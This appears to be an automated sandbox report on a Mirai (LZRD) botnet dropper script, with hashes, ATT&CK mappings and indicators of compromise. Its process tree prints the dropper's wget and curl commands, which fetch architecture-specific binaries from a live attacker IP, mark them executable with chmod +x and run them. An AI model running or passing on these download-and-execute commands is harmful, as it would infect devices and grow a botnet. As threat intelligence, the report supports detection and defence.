mirai | 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c

Analysis

max time kernel
149s
max time network
151s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
22-12-2024 02:04

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General

Target

21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh
Size

2KB
MD5

4e3d079076dbd0da4d36211e359e7c90
SHA1

c78fc85b3cb983b5f6da054337221b744ffce6f2
SHA256

21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c
SHA512

85a322f9c2d9cae35021d896ca50f254b49354d2819f77396a97a9d41a544d8662ec0cdd38475884b9bab02f9247c9ed637fa9caa26d4669b8f5e32a739ec78b

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1540	chmod
1560	chmod
1580	chmod
1602	chmod
1534	chmod
1632	chmod
1642	chmod
1652	chmod
1662	chmod
1622	chmod
1612	chmod
1570	chmod
1590	chmod
1672	chmod
1550	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/Space	1535	Space
/tmp/Space	1541	Space
/tmp/Space	1551	Space
/tmp/Space	1561	Space
/tmp/Space	1571	Space
/tmp/Space	1581	Space
/tmp/Space	1591	Space
/tmp/Space	1603	Space
/tmp/Space	1613	Space
/tmp/Space	1623	Space
/tmp/Space	1633	Space
/tmp/Space	1643	Space
/tmp/Space	1653	Space
/tmp/Space	1663	Space
/tmp/Space	1673	Space

Modifies Watchdog functionality 1 TTPs 28 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 28 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/bin/watchdog	Space

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-5.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/177/status	Space
File opened for reading	/proc/673/status	Space
File opened for reading	/proc/972/status	Space
File opened for reading	/proc/1608/status	Space
File opened for reading	/proc/165/status	Space
File opened for reading	/proc/1168/status	Space
File opened for reading	/proc/174/status	Space
File opened for reading	/proc/1202/status	Space
File opened for reading	/proc/29/status	Space
File opened for reading	/proc/1204/status	Space
File opened for reading	/proc/1062/status	Space
File opened for reading	/proc/557/status	Space
File opened for reading	/proc/1086/status	Space
File opened for reading	/proc/1496/status	Space
File opened for reading	/proc/1168/status	Space
File opened for reading	/proc/1521/status	Space
File opened for reading	/proc/971/status	Space
File opened for reading	/proc/1062/status	Space
File opened for reading	/proc/1089/status	Space
File opened for reading	/proc/1140/status	Space
File opened for reading	/proc/28/status	Space
File opened for reading	/proc/36/status	Space
File opened for reading	/proc/169/status	Space
File opened for reading	/proc/89/status	Space
File opened for reading	/proc/175/status	Space
File opened for reading	/proc/1181/status	Space
File opened for reading	/proc/414/status	Space
File opened for reading	/proc/1556/status	Space
File opened for reading	/proc/1566/status	Space
File opened for reading	/proc/163/status	Space
File opened for reading	/proc/1197/status	Space
File opened for reading	/proc/15/status	Space
File opened for reading	/proc/1523/status	Space
File opened for reading	/proc/85/status	Space
File opened for reading	/proc/158/status	Space
File opened for reading	/proc/160/status	Space
File opened for reading	/proc/1496/status	Space
File opened for reading	/proc/1104/status	Space
File opened for reading	/proc/1163/status	Space
File opened for reading	/proc/1289/status	Space
File opened for reading	/proc/1144/status	Space
File opened for reading	/proc/311/status	Space
File opened for reading	/proc/673/status	Space
File opened for reading	/proc/440/status	Space
File opened for reading	/proc/18/status	Space
File opened for reading	/proc/1628/status	Space
File opened for reading	/proc/693/status	Space
File opened for reading	/proc/1080/status	Space
File opened for reading	/proc/1168/status	Space
File opened for reading	/proc/460/status	Space
File opened for reading	/proc/1042/status	Space
File opened for reading	/proc/532/status	Space
File opened for reading	/proc/160/status	Space
File opened for reading	/proc/1197/status	Space
File opened for reading	/proc/26/status	Space
File opened for reading	/proc/160/status	Space
File opened for reading	/proc/1136/status	Space
File opened for reading	/proc/36/status	Space
File opened for reading	/proc/1056/status	Space
File opened for reading	/proc/585/status	Space
File opened for reading	/proc/1523/status	Space
File opened for reading	/proc/418/status	Space
File opened for reading	/proc/81/status	Space
File opened for reading	/proc/436/status	Space

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1567	wget
1568	curl
1577	wget
1578	curl

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Space.mpsl	wget
File opened for modification	/tmp/Space.arm5	curl
File opened for modification	/tmp/Space.arm7	wget
File opened for modification	/tmp/Space.x86	wget
File opened for modification	/tmp/Space.mips64	curl
File opened for modification	/tmp/Space	21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh
File opened for modification	/tmp/Space.mpsl	curl
File opened for modification	/tmp/Space.arm	wget
File opened for modification	/tmp/Space.arm	curl
File opened for modification	/tmp/Space.arm6	wget
File opened for modification	/tmp/Space.arm6	curl
File opened for modification	/tmp/Space.arc	wget
File opened for modification	/tmp/Space.arc	curl
File opened for modification	/tmp/Space.arm5	wget
File opened for modification	/tmp/Space.m68k	wget
File opened for modification	/tmp/Space.m68k	curl
File opened for modification	/tmp/Space.sh4	curl
File opened for modification	/tmp/Space.x86	curl
File opened for modification	/tmp/Space.mips	curl
File opened for modification	/tmp/Space.i686	wget
File opened for modification	/tmp/Space.ppc	curl
File opened for modification	/tmp/Space.sparc	curl
File opened for modification	/tmp/Space.x86_64	wget
File opened for modification	/tmp/Space.x86_64	curl
File opened for modification	/tmp/Space.mips	wget
File opened for modification	/tmp/Space.i686	curl
File opened for modification	/tmp/Space.sh4	wget
File opened for modification	/tmp/Space.ppc	wget
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/Space.arm7	curl

/tmp/21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh
/tmp/21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh
1⤵
- Writes file to tmp directory
PID:1526
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:1527
- /usr/bin/wget
  wget http://89.213.158.208/hiddenbin/Space.arc
  2⤵
  - Writes file to tmp directory
  PID:1528
- /usr/bin/curl
  curl -O http://89.213.158.208/hiddenbin/Space.arc
  2⤵
  - Writes file to tmp directory
  PID:1532
- /bin/cat
  cat Space.arc
  2⤵
  PID:1533
- /bin/chmod
  chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox config-err-zQnUeG netplan_agvzkkfx snap-private-tmp Space Space.arc ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-timedated.service-vuhUPB
  2⤵
  - File and Directory Permissions Modification
  PID:1534
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  PID:1535
- /usr/bin/wget
  wget http://89.213.158.208/hiddenbin/Space.x86
  2⤵
  - Writes file to tmp directory
  PID:1537
- /usr/bin/curl
  curl -O http://89.213.158.208/hiddenbin/Space.x86
  2⤵
  - Writes file to tmp directory
  PID:1538
- /bin/cat
  cat Space.x86
  2⤵
  PID:1539
- /bin/chmod
  chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox config-err-zQnUeG netplan_agvzkkfx snap-private-tmp Space Space.arc Space.x86 ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-timedated.service-vuhUPB
  2⤵
  - File and Directory Permissions Modification
  PID:1540
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1541
- /usr/bin/wget
  wget http://89.213.158.208/hiddenbin/Space.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1547
- /usr/bin/curl
  curl -O http://89.213.158.208/hiddenbin/Space.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1548
- /bin/chmod
  chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox config-err-zQnUeG netplan_agvzkkfx snap-private-tmp Space Space.arc Space.x86 Space.x86_64 ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-timedated.service-vuhUPB
  2⤵
  - File and Directory Permissions Modification
  PID:1550
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1551
- /usr/bin/wget
  wget http://89.213.158.208/hiddenbin/Space.i686
  2⤵
  - Writes file to tmp directory
  PID:1557
- /usr/bin/curl
  curl -O http://89.213.158.208/hiddenbin/Space.i686
  2⤵
  - Writes file to tmp directory
  PID:1558
- /bin/chmod
  chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox config-err-zQnUeG netplan_agvzkkfx snap-private-tmp Space Space.arc Space.i686 Space.x86 Space.x86_64 ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-timedated.service-vuhUPB
  2⤵
  - File and Directory Permissions Modification
  PID:1560
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1561
- /usr/bin/wget
  wget http://89.213.158.208/hiddenbin/Space.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1567
- /usr/bin/curl
  curl -O http://89.213.158.208/hiddenbin/Space.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1568
- /bin/chmod
  chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox config-err-zQnUeG netplan_agvzkkfx snap-private-tmp Space Space.arc Space.i686 Space.mips Space.x86 Space.x86_64 ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-timedated.service-vuhUPB
  2⤵
  - File and Directory Permissions Modification
  PID:1570
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1571
- /usr/bin/wget
  wget http://89.213.158.208/hiddenbin/Space.mips64
  2⤵
  - System Network Configuration Discovery
  PID:1577
- /usr/bin/curl
  curl -O http://89.213.158.208/hiddenbin/Space.mips64
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1578
- /bin/chmod
  chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox config-err-zQnUeG netplan_agvzkkfx snap-private-tmp Space Space.arc Space.i686 Space.mips Space.mips64 Space.x86 Space.x86_64 ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-timedated.service-vuhUPB
  2⤵
  - File and Directory Permissions Modification
  PID:1580
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1581
- /usr/bin/wget
  wget http://89.213.158.208/hiddenbin/Space.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1587
- /usr/bin/curl
  curl -O http://89.213.158.208/hiddenbin/Space.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1588
- /bin/chmod
  chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox config-err-zQnUeG netplan_agvzkkfx snap-private-tmp Space Space.arc Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-timedated.service-vuhUPB
  2⤵
  - File and Directory Permissions Modification
  PID:1590
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1591
- /usr/bin/wget
  wget http://89.213.158.208/hiddenbin/Space.arm
  2⤵
  - Writes file to tmp directory
  PID:1599
- /usr/bin/curl
  curl -O http://89.213.158.208/hiddenbin/Space.arm
  2⤵
  - Writes file to tmp directory
  PID:1600
- /bin/chmod
  chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox config-err-zQnUeG netplan_agvzkkfx snap-private-tmp Space Space.arc Space.arm Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf
  2⤵
  - File and Directory Permissions Modification
  PID:1602
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1603
- /usr/bin/wget
  wget http://89.213.158.208/hiddenbin/Space.arm5
  2⤵
  - Writes file to tmp directory
  PID:1609
- /usr/bin/curl
  curl -O http://89.213.158.208/hiddenbin/Space.arm5
  2⤵
  - Writes file to tmp directory
  PID:1610
- /bin/chmod
  chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox config-err-zQnUeG netplan_agvzkkfx snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf
  2⤵
  - File and Directory Permissions Modification
  PID:1612
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1613
- /usr/bin/wget
  wget http://89.213.158.208/hiddenbin/Space.arm6
  2⤵
  - Writes file to tmp directory
  PID:1619
- /usr/bin/curl
  curl -O http://89.213.158.208/hiddenbin/Space.arm6
  2⤵
  - Writes file to tmp directory
  PID:1620
- /bin/chmod
  chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox config-err-zQnUeG netplan_agvzkkfx snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf
  2⤵
  - File and Directory Permissions Modification
  PID:1622
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1623
- /usr/bin/wget
  wget http://89.213.158.208/hiddenbin/Space.arm7
  2⤵
  - Writes file to tmp directory
  PID:1629
- /usr/bin/curl
  curl -O http://89.213.158.208/hiddenbin/Space.arm7
  2⤵
  - Writes file to tmp directory
  PID:1630
- /bin/chmod
  chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox config-err-zQnUeG netplan_agvzkkfx snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf
  2⤵
  - File and Directory Permissions Modification
  PID:1632
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1633
- /usr/bin/wget
  wget http://89.213.158.208/hiddenbin/Space.ppc
  2⤵
  - Writes file to tmp directory
  PID:1639
- /usr/bin/curl
  curl -O http://89.213.158.208/hiddenbin/Space.ppc
  2⤵
  - Writes file to tmp directory
  PID:1640
- /bin/chmod
  chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox config-err-zQnUeG netplan_agvzkkfx snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.x86 Space.x86_64 ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf
  2⤵
  - File and Directory Permissions Modification
  PID:1642
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1643
- /usr/bin/wget
  wget http://89.213.158.208/hiddenbin/Space.sparc
  2⤵
  PID:1649
- /usr/bin/curl
  curl -O http://89.213.158.208/hiddenbin/Space.sparc
  2⤵
  - Writes file to tmp directory
  PID:1650
- /bin/chmod
  chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox config-err-zQnUeG netplan_agvzkkfx snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf
  2⤵
  - File and Directory Permissions Modification
  PID:1652
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1653
- /usr/bin/wget
  wget http://89.213.158.208/hiddenbin/Space.m68k
  2⤵
  - Writes file to tmp directory
  PID:1659
- /usr/bin/curl
  curl -O http://89.213.158.208/hiddenbin/Space.m68k
  2⤵
  - Writes file to tmp directory
  PID:1660
- /bin/chmod
  chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox config-err-zQnUeG netplan_agvzkkfx snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf
  2⤵
  - File and Directory Permissions Modification
  PID:1662
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1663
- /usr/bin/wget
  wget http://89.213.158.208/hiddenbin/Space.sh4
  2⤵
  - Writes file to tmp directory
  PID:1669
- /usr/bin/curl
  curl -O http://89.213.158.208/hiddenbin/Space.sh4
  2⤵
  - Writes file to tmp directory
  PID:1670
- /bin/chmod
  chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox config-err-zQnUeG netplan_agvzkkfx snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sh4 Space.sparc Space.x86 Space.x86_64 ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf
  2⤵
  - File and Directory Permissions Modification
  PID:1672
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1673

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/Space

Filesize
34KB

MD5
f66071f9e603dd7b96793058e206b45c

SHA1
f90eaf59e5a2c5030450de5b1f12a72a8ec8f256

SHA256
8b8facc7fb2d6cd6f278ea77711c41970dcdff8a367d2d04a2221fd4286ffb45

SHA512
d5d307f49f255d8f2e36027cdb5b0b7171f83d99147fb1d074bdb64f4c65fa19a7af2556508e0a317a9a4e0df5bd005b5d1b3396282647d9672b12d916d3fc88

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/tmp/Space.arc

Filesize
113KB

MD5
0d7dfd4bb7805b98857a7d2f0a6c736e

SHA1
3dd2688150dae67b47e3a4da289f98f2fc6b3dae

SHA256
fc713acedb272a695f5377591a7110d2061697ef7b5de6852e1132040597a39b

SHA512
03858c754d6469066b8b7b21f8765c24706209e0d9acc3b014014c5a6abd8738f4722d6f2403f85678822021b568834186c6e346dd96b25139c7e4572d3c1899

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/tmp/busybox

Filesize
2.0MB

MD5
b4dede5fc0b1bad5cb8e901bde126b97

SHA1
10cbe9a418ad84a1ed297948539d37aeb58dd810

SHA256
a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020

SHA512
45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads